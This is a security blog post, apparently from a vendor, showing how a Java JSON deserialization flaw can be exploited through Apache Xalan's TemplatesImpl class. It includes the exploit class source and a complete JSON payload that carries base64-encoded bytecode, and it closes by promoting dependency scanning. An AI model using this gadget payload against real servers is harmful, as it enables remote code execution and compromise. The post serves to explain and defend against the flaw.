&lt;p&gt;In order to exploit the vulnerability, we need to have a vector. On this occasion we decided to use &lt;a href="https://xalan.apache.org/"&gt;Apache Xalan&lt;/a&gt;, a common XSLT library &lt;a href="http://grepcode.com/file/repository.grepcode.com/java/root/jdk/openjdk/8u40-b25/com/sun/org/apache/xalan/internal/xsltc/trax/TransformerImpl.java#TransformerImpl"&gt;also included in the JDK&lt;/a&gt; (which, until version 8u45, is possible to use as the vector, in the same way Xalan is used here). Please note that there are a lot of other options available as attack vectors, but for the sake of simplicity, we will focus here on a very specific one.&lt;/p&gt;

&lt;p&gt;We will use a particular class from Xalan which is capable to deserialize an encoded class file from an XML, and dynamically create an instance of such class: we will craft a JSON message that will contain the encoded class of our &lt;a href="https://github.com/bbossola/vulnerability-java-samples/blob/master/exploit/Exploit.java"&gt;exploit class&lt;/a&gt; here:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;public class Exploit extends org.apache.xalan.xsltc.runtime.AbstractTranslet {

  public Exploit() throws Exception {
    System.err.println("Your server has been compromised!");
  }

  @Override
  public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
  }

  @Override
  public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
  }
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;We just need to compile this source code in a .class file, &lt;a href="https://github.com/bbossola/vulnerability-java-samples/blob/master/exploit/Encoder.java"&gt;encoded it in Base64&lt;/a&gt; and prepare our &lt;a href="https://github.com/bbossola/vulnerability-java-samples/blob/master/curls/exploit.json"&gt;evil JSON message&lt;/a&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{
  "name": "fakeapple",
  "description": "Fake fruit from UK",
  "data": ["org.apache.xalan.xsltc.trax.TemplatesImpl",
  {
    "transletBytecodes" : [ "yv66vgAAADQALgcAAgEAB0V4cGxvaXQHAAQBAC9vcmcvYXBhY2hlL3hhbGFuL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEABjxpbml0PgEAAygpVgEACkV4Y2VwdGlvbnMHAAkBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAEQ29kZQoAAwAMDAAFAAYJAA4AEAcADwEAEGphdmEvbGFuZy9TeXN0ZW0MABEAEgEAA2VycgEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwgAFAEAIVlvdXIgc2VydmVyIGhhcyBiZWVuIGNvbXByb21pc2VkIQoAFgAYBwAXAQATamF2YS9pby9QcmludFN0cmVhbQwAGQAaAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAlMRXhwbG9pdDsBAAl0cmFuc2Zvcm0BAFAoTG9yZy9hcGFjaGUveGFsYW4veHNsdGMvRE9NO1tMb3JnL2FwYWNoZS94bWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgcAIgEAKG9yZy9hcGFjaGUveGFsYW4veHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAAhkb2N1bWVudAEAHExvcmcvYXBhY2hlL3hhbGFuL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAMVtMb3JnL2FwYWNoZS94bWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAHMoTG9yZy9hcGFjaGUveGFsYW4veHNsdGMvRE9NO0xvcmcvYXBhY2hlL3htbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xvcmcvYXBhY2hlL3htbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBACRMb3JnL2FwYWNoZS94bWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQAwTG9yZy9hcGFjaGUveG1sL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEV4cGxvaXQuamF2YQAhAAEAAwAAAAAAAwABAAUABgACAAcAAAAEAAEACAAKAAAAOwACAAEAAAANKrcAC7IADRITtgAVsQAAAAIAGwAAAAoAAgAAAAgABAAJABwAAAAMAAEAAAANAB0AHgAAAAEAHwAgAAIABwAAAAQAAQAhAAoAAAA/AAAAAwAAAAGxAAAAAgAbAAAABgABAAAADQAcAAAAIAADAAAAAQAdAB4AAAAAAAEAIwAkAAEAAAABACUAJgACAAEAHwAnAAIABwAAAAQAAQAhAAoAAABJAAAABAAAAAGxAAAAAgAbAAAABgABAAAAEgAcAAAAKgAEAAAAAQAdAB4AAAAAAAEAIwAkAAEAAAABACgAKQACAAAAAQAqACsAAwABACwAAAACAC0=" ],
    "transletName": "oops!",
    "outputProperties": {}
   }
 }
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;After sending the message to the server &lt;a href="https://github.com/bbossola/vulnerability-java-samples/blob/master/curls/exploit.sh"&gt;as a normal "add product" request&lt;/a&gt;, the encoded class will be instantiated by the Xalan TemplatesImpl class in order for it to populate the value of the outputProperties field: as the constructor code is executed, the evil code is executed as well and the server compromised. Yes, you might have exceptions in the server, but it's too late.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Conclusions&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This is just one example among hundreds of exploits currently possible using public vulnerabilities on various open source libraries and for that reason, it's extremely important that you add to your build pipeline a scanner capable to detect and block the build if such situation is detected. We would kindly invite you to use our simple command line client available at meterian.io and avoid future nasty surprises. You do not want to be &lt;a href="https://arstechnica.com/information-technology/2017/09/massive-equifax-breach-caused-by-failure-to-patch-two-month-old-bug/"&gt;the next Equifax&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;You can reach me at &lt;a href="//mailto:bruno@meterian.io"&gt;meterian.io&lt;/a&gt;!&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Disclaimer: please note that all these information are publicly available on the internet. This is just a summary post from a cybersecurity practitioner and nothing else. The code provided is for research purposes only. This work is licensed under a &lt;a href="https://creativecommons.org/licenses/by-nc/4.0/"&gt;Creative Commons Attribution-NonCommercial 4.0 International License&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>opensource</category>
      <category>devops</category>
      <category>java</category>
    </item>
  </channel>
</rss>
